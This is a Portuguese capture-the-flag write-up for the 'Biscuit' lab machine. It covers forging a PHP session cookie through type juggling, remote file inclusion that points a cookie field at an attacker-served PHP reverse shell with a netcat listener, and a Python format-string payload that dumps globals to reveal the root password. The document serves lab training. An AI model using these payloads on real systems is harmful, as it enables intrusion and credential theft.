Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up biscuit
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.
Varredura nmap:
Write-Up - Biscuit 1
Ports:
Porta 22 - SSH
Porta 80 - HTTP
Aqui temos a porta 80 que indica que temos um site em execução, também temos a porta 22 do SSH
Write-Up - Biscuit 2
FUZZ:
Write-Up - Biscuit 3
Fazendo um fuzzing de arquivos e diretórios não obtivemos nada de interessante, apenas um diretório
/class com um arquivo .php
admin:admin
root:root
administration:administration
guest:guest
Write-Up - Biscuit 4
Aparentemente temos apenas uma página de boas vindas, mas ao olhar a parte de storage no
navegador, temos um cookie de sessão
Usando o cyberchef pra decodificar o cookie, posso ver que se trata de um cookie no formato em
JSON com três valores:
Write-Up - Biscuit 5
1. hmac - Hash Message Authentication Code, fornece um mecanismo fácil para verificar a
autenticidade do usuário e se uma mensagem não foi adulterada
Sabendo disso, vamos alterar o username para admin e depois codifica-ló em base64+ulr_encode
Write-Up - Biscuit 6
Trocando o cookie, recebemos uma mensagem de erro e a flag
Exploração:
https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf
Existe uma vulnerabilidade bem conhecida em php que se chama Type Juggling
O PHP tem um recurso chamado “malabarismo de tipo” ou “coerção de tipo”. Isso significa que durante
a comparação de variáveis de tipos diferentes, o PHP primeiro os converterá em um tipo comum
comparável.
Write-Up - Biscuit 7
No entanto, problemas de malabarismo de tipo podem ser explorados se o aplicativo aceita a entrada
por meio de funções como json_decode () ou unserialize () . Dessa forma, seria possível para o usuário
final especificar o tipo de entrada transmitida.
{“Senha”: “0”}
{“Senha”: 0}
Considere os blobs JSON acima. O primeiro faria com que o parâmetro da senha fosse tratado como
uma string, enquanto o segundo faria com que a entrada fosse interpretada como um inteiro pelo PHP.
Isso dá ao invasor um controle refinado do tipo de dados de entrada e, portanto, a capacidade de
explorar problemas de malabarismo de tipo.
Voltando a exploração do cookie, podemos passar true para o campo do hmac, e com isso podemos
modificar nosso cookie sem problemas.
Sabendo disso, irei novamente alterar o campo username para admin, mas agora passando true para
o valor do hmac.
base64 + urlencode:
{"hmac":true,"username":"admin","expiration":1630950564}
Write-Up - Biscuit 8
Após passar um valor aleatório no campo username, ele me trouxe uma página de erro
Write-Up - Biscuit 9
{"hmac":true,"username":"abcd","expiration":1630950564}
Write-Up - Biscuit 10
Na página de erro podemos ver que ele usa a função require_once e adiciona o .php no final do nosso
valor.
require_once é utilizado para incluir páginas e arquivos php etc, como nós temos controle do campo
username, podemos tentar explorar essa função.
Vou abusar da vulnerabilidade de RFI (remote file inclusion)
Somos capazes de carregar e executar código arbitrário disponível remotamente no aplicativo.
Para isso utilizarei uma reverse shell em php do pentest monkey
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Write-Up - Biscuit 11
Em seguida vou subir um servidor em python para servir nossa reverse shell, assim quando ele fizer a
requisição para o nosso servidor em python ele irá incluir o nosso arquivo.
{"hmac":true,"username":"http://ip-vpn/php-reverse-shell","expiration":1630950564}
obs: não precisa colocar a exetensão .php , pois o servidor irá colocar automaticamente.
Netcat para ficar ouvindo em uma porta para nós recebermos nossa conexão reversa.
Write-Up - Biscuit 12
Shell tty
Atualizando shell simples para TTYs totalmente interativos.
Ctrl+Z
Enter
export TERM=xterm
ROOT
As strings de formato são usadas em muitas linguagens de programação para inserir valores em uma
string de texto. Em alguns casos, esse mecanismo pode ser abusado para realizar ataques de estouro
de buffer, extrair informações ou executar código arbitrário.
Write-Up - Biscuit 13
Indo em /opt vejo que não podemos ler o arquivo biscuit_checker.py e nem modifica-ló, mas podemos
executa-ló com permissões do usuário root.
Indo no diretório /var/www/ html tem um arquivo chamado block.ips.db.json, esse arquivo está sendo
chamado pelo o script em python, se modificarmos esse arquivo, ele nos retorna um erro.
Write-Up - Biscuit 14
Os objetos Python podem acessar muitos atributos internos, incluindo um dicionário de variáveis
globais, com isso conseguimos extrair informações imprimindo todas as variáveis globais que o arquivo
utiliza.
Write-Up - Biscuit 15
{"ips":["{ip.list_blocked.__globals__}"]}
Com isso temos uma variável root_secret com um valor, que é a senha do usuário root, assim
podemos capturar a última flag que está no diretório do usuário root.
Write-Up - Biscuit 16
Write-Up - Biscuit 17